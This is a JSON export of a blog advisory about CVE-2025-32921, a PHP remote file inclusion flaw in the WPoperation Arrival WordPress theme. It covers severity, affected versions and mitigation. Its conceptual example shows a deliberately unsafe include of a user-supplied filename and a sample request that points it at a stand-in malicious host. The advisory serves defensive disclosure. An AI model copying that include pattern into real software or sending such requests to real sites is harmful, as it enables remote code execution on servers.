{"id":86248,"date":"2026-01-10T05:23:36","date_gmt":"2026-01-10T05:23:36","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-32921-php-remote-file-inclusion-vulnerability-in-wpoperation-arrival","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-32921-php-remote-file-inclusion-vulnerability-in-wpoperation-arrival\/","title":{"rendered":"<strong>CVE-2025-32921: PHP Remote File Inclusion Vulnerability in WPoperation Arrival<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-32921 vulnerability is a significant security flaw that affects users of WPoperation&#8217;s Arrival, a popular WordPress theme. The vulnerability stems from an improper control of filename for Include\/Require Statement in the PHP Program, commonly known as &#8216;PHP Remote File Inclusion&#8217;. This vulnerability is of particular concern due to its potential for system compromise or data leakage, and it is essential for users to apply the necessary patches to mitigate the risk.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-32921<br \/>\nSeverity: High (7.5 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: Potential system compromise and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-112902219\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>WPoperation Arrival | n\/a &#8211; 1.4.5<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>An attacker exploiting this vulnerability could use a specially crafted PHP script to include a file from a remote server. This occurs due to improper control of filename for Include\/Require Statement in PHP Program. By doing so, the attacker can execute arbitrary PHP code within the context of the vulnerable application, potentially leading to unauthorized system access or data leak.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-4278199908\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the vulnerability might be exploited. This example is a PHP script that includes a malicious file from a remote server.<\/p>\n<pre><code class=\"\" data-line=\"\">&lt;?php\n\/\/ The vulnerable include statement\ninclude($_GET[&#039;file&#039;] . &quot;.php&quot;);\n\/\/ An attacker could exploit this by sending a request like:\n\/\/ http:\/\/targetsite.com\/vulnerable.php?file=http:\/\/malicious.com\/malicious\n?&gt;<\/code><\/pre>\n<p><strong>Mitigation and Recommendations<\/strong><\/p>\n<p>WPoperation has already released a patch to address this vulnerability, and all users are strongly urged to update to the latest version of Arrival. In the absence of a patch, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation. Additionally, input validation techniques should be used to validate user inputs for PHP include\/require statements to prevent similar vulnerabilities in the future.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-32921 vulnerability is a significant security flaw that affects users of WPoperation&#8217;s Arrival, a popular WordPress theme. The vulnerability stems from an improper control of filename for Include\/Require Statement in the PHP Program, commonly known as &#8216;PHP Remote File Inclusion&#8217;. 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